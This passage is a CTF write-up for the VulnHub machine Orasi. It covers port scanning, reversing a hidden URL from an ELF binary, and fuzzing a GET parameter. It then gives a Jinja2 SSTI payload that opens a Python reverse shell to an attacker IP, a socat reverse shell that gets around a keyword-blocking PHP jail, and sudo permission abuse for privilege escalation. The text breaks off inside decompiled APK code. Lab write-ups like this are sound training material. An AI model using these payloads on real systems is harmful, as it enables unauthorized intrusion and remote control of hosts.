# Orasi: BOOT2ROOT CTF VULNHUB WRITEUP Welcome back to another writeup! In this post, I’ll be walking you through how I managed to pwn **Orasi** — a machine available on VulnHub. While **Orasi** has a reputation for being a tough box according to many in the community, I personally found it to be more approachable than expected once I broke it down step-by-step. Throughout this guide, I’ll show you exactly how I tackled it. Let's dive in!! **Reconnaissance** Let's scan for open ports using **Nmap** for potential entry points. *`nmap -A -p- -T5 192.168.121.147`*

Port 21(ftp), 22(ssh), 80(http), and also an http(5000)

**Enumeration** If you noticed, the ftp allow **Anonymous** access. So let's try to access ftp! *`lftp -u anonymous, 192.168.121.147`*

Under **pub** directory, there's a file named **url**

It turns out that is an ELF executable binary.

Next thing I did is to transfer the **url** file to my attacker machine *`get url`*

At my local machine I made it executable *`chmod +x url`* and execute *`./url`*

Nothing useful, so I fired up Ghidra to analyze the code and dig into its logic, hoping to uncover something hidden beneath the surface.

Notice the pattern? When we examine the **main** function more closely, some interesting behavior stands out. The code seems to be setting up values for certain operations by moving them into the source and destination indices, followed by a call to the **insert** function. Specifically, at lines 1192 and 1197, the opcodes **be** and **bf** are used, these correspond to instructions that move a value into the **ESI** (source index) and **EDI** (destination index) registers, respectively. The hexadecimal value immediately following each of these opcodes represents the actual data being assigned. I gathered all the hexadecimal values that were assigned to the source index just before each call to the **insert** function, and here's what I found ``` 2f 73 68 34 64 30 77 24 73 ``` Next thing I did is to decode this hex to ASCII using **xxd** and here's the result

``` /sh4d0w$s ``` This seems to resemble a URL path. Speaking of URLs, let’s go ahead and check out the HTTP interface to see what’s there.

Hmm... the sequence **6 6 1337leet** looks familiar, it resembles the kind of syntax or pattern you’d see used in a specific tool. How about the other http? Port 5000 (Running in Python Server)

What if I add the decoded path?

This suggests that the path is expecting some kind of input, possibly a GET parameter. However, since we don’t know the exact parameter name yet, we’ll need to fuzz for it. Let’s head back to port 80. That **6 6 1337leet** pattern? Turns out, it’s actually a syntax used in **Crunch**. Maybe we can use the generated wordlist to fuzz the GET parameter. *`crunch 6 6 1337leet -o wordlist.txt`*

Now that we have the wordlist, let's fuzz the GET parameter using **ffuf** *`ffuf -c -u 'http://192.168.121.147:5000/sh4d0w$s?FUZZ=so_drained' -w wordlist.txt -fs 8`* The **-fs 8** option filters out responses with a size of 8. This means that, for every incorrect GET parameter, the server will return "No input" with a length of 8. However, for the correct parameter, the response size will likely vary since I’ve used a value longer than 8 characters. To observe the response sizes more clearly, we can remove the filter and analyze them directly. This is a fundamental step in fuzzing, just a heads-up in case you're not yet familiar with the process.

**Exploitation** Eventually, I identified the correct GET parameter. Given that the server is running Python, it’s likely using **jinja2**-style templates. To verify this, I tried the following payload to see if the server is vulnerable to **server-side template injection (SSTI)**. ``` {{10*10}} ``` Here's the result

It's confirmed!! At this stage, we can establish a reverse shell. Here's the payload ```python {% for cls in ().__class__.__base__.__subclasses__() %}{% if cls.__name__.find("warning") != -1 %}{{cls()._module.__builtins__.get('__import__')('os').popen("python3 -c 'import socket,os,pty,subprocess as sp;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.121.32\",4444));[os.dup2(s.fileno(),fd) for fd in range(3)];pty.spawn(\"/bin/bash\")'")}}{% endif %}{% endfor %} ``` After running the payload through the **l333tt** parameter, we successfully gained a shell.

Navigating to the **home** directory, there are 2 users

Next thing I did is to check the sudo permissions of www-data *`sudo -l`*

It turns out that we can execute a PHP script as user **kori**, next thing I did is to check the content of the **jail.php** ```php ``` This is the reason why it gets harder, it’s clear that the script is capable of executing commands. However, if the input contains specific keywords such as **bash, eval, nc**, and similar, it triggers a warning message saying “**restricted characters have been used.**” Additionally, the use of the slash (**/**) is also blocked, preventing us from referencing full binary paths like **/bin/bash**. But they forgot something, just noticed that **socat** is not included, that's why I wonder if there's a socat in this and it has!!!! We can use socat, to spawn a shell as user kori! Next thing I did is to establish another listener in my local machine and execute this command in the target ``` sudo -u kori php /home/kori/jail.php socat TCP:192.168.121.32:3333 EXEC:'sh',pty,stderr,setsid,sigint ``` Execute and it should spawn a shell

Next thing I did is to upgrade the shell *`python3 -c 'import pty; pty.spawn("/bin/bash")'`*

I've checked the sudo permissions of the user kori *`sudo -l`*

It appears that the user kori has permission to copy an APK file from irida’s home directory into their own directory. *`sudo -u irida cp /home/irida/irida.apk /home/kori/irida.apk`*

Why permission denied? Since we’re now running commands as the user irida, we have access to the **irida.apk** file located in her home directory. However, irida doesn't have write permissions for kori’s directory. To work around this, I had to modify the directory's permissions to allow write access for other users. *`chmod o+w .`* Then execute this again *`sudo -u irida cp /home/irida/irida.apk /home/kori/irida.apk`*

But there's still a problem

As you can see, the owner is still irida even though we've successfully copied it to kori, so technically, we cannot still access the apk file. What should we do? First we will delete the irida.apk in user kori and we will make a new one but empty *`touch irida.apk`* Then we will change file permission to **777** to give full access to everyone *`chmod 777 irida.apk`* Finally we will copy the apk again from irida *`sudo -u irida cp /home/irida/irida.apk /home/kori/irida.apk`* Here's the result

As you can see here, the owner of irida.apk is now kori!! I transfer the APK file to my local machine to decompile it target *`php -S 0.0.0.0:1234`* attacker *`wget http://:1234/irida.apk` * After transfer I decompile the APK file but first let's unzip the APK file *`unzip irida.apk`* Its internal structure will be extracted along with the **classes.dex** Next thing I did is to convert the classes.dex to Java archives using **d2j-dex2jar** *`d2j-dex2jar classes.dex`* Upon exploring the generated .class files, I found this file that seems interesting

The **LoginDataSource.class** caught my eye, so all I did is to decompile it using **procyon** and here's the decompiled version ```java // // Decompiled by Procyon v0.6.0 // package com.alienum.irida.data; import java.util.HashMap; import java.io.IOException; import java.util.UUID; import com.alienum.irida.data.model.LoggedInUser; public class LoginDataSource { public Result login(final String s, final String s2) { if (s.equals("irida") && s2.equals(this.protector("1#2#3#4#5"))) { try { return new Result.Success